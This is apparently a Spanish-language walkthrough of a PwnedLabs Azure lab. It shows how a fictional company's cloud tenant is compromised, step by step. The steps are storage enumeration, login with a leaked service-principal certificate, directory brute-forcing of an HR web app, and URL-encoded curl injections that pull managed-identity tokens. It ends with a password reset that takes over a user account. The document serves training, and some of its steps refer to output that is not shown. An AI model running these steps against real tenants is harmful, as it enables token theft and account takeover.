Passwordless Credentials for Access and Escalation
Azure PwnedLabs
Disconnect-AzAccount
az logout
Lo primero que todo es tratar de desconectar y empezar desde 0.
python3 azsubenum.py -b megabigtech -p permutations.txt

Esto genera una lista de cuentas de megabigtech en la cual megabigtechinternal es la que llama la atencion.
for word in $(cat ./permutations.txt); do echo <name>:$word >> namelist; done
python basicblobfinder.py namelist

Bajamos los archivos ApplicationIDs.csv y sp.pfx
csvtool readable ApplicationIDs.csv

open sp.pfx
Y nos damos cuenta que tiene una llave RSA.

Nuestro siguiente paso es conseguir el tenant Id. Podemos ir a
https://gettenantpartitionweb.azurewebsites.net/

Abrimos roadrecon y buscamos HrPortal

Get-ChildItem -Path C:\Users\user1\Downloads\sp.pfx | Import-PfxCertificate -CertStoreLocation Cert:\CurrentUser\My -Exportable

openssl x509 -in sp.pem -noout -fingerprint -sha1

Vamos a convertir el archivo pfx a pem.
openssl pkcs12 -in sp.pfx -out sp.pem -nodes -clcerts

No introducimos una contrasena ya que no es necesario.
az login --service-principal -u "20acc5dd-ffd4-41ac-a1a5-d381329da49a" --certificate sp.pem --tenant "2590ccef-687d-493b-ae8d-441cbab63a72"


Connect-AzAccount -AccountId "20acc5dd-ffd4-41ac-a1a5-d381329da49a" -AccessToken "ey..."
Get-AzResource

az resource list --query "[].{ID:id,Name:name,Type:type,Identity:identity,ResourceGroup:resourceGroup}"


Get-AzRoleAssignment -Scope "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94" | Select-Object DisplayName, RoleDefinitionName

whatweb 'https://megabigtech-hr-portal.azurewebsites.net'

Nos damos cuenta que esta en un servidor linux.

az webapp show -n megabigtech-hr-portal -g mbt-rg-12 --query "enabledHostNames" -o table

Nos dirigimos a la pagina web https://megabigtech-hr-portal.azurewebsites.net/

dirsearch -u https://megabigtech-hr-portal.azurewebsites.net/portal -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -f p


Al correr estos comandos nos da las credenciales para poder iniciar sesion por ftp


env
Nos despliega las variables de entorno.

curl%20-s%20-H%20%22X-Identity-Header%3A%20%24IDENTITY_HEADER%22%20%22%24IDENTITY_ENDPOINT%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F%22

Nos dirigimos a https://jwt.ms y agregamos el token.

Adquirimos el token y iniciamos sesion.
Connect-AzAccount -AccountId "NA" -AccessToken "ey..."

Desplegamos los recursos asignados a nosotros

curl%20-s%20-H%20%22X-Identity-Header%3A%20%24IDENTITY_HEADER%22%20%22%24IDENTITY_ENDPOINT%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fgraph.microsoft.com%2F%22


Tratamos de iniciar sesion.

Y con el script en powershell vemos los recursos en los cuales tenemos acceso.


Vemos que se creo una unidad administrativa para recursos humanos.


El script nos despliega el miembro del grupo llamada seline.


Despues encontramos el rol id para este miembro.


Ahora reseteamos la contrasena de Seline y tenemos acceso.
Update-mgUser -userid 'Seline.Diaz@megabigtech.com' -PasswordProfile @{password ="NewPass123!"; forceChangePasswordNextSignIn= $true}

az login


1
az account show
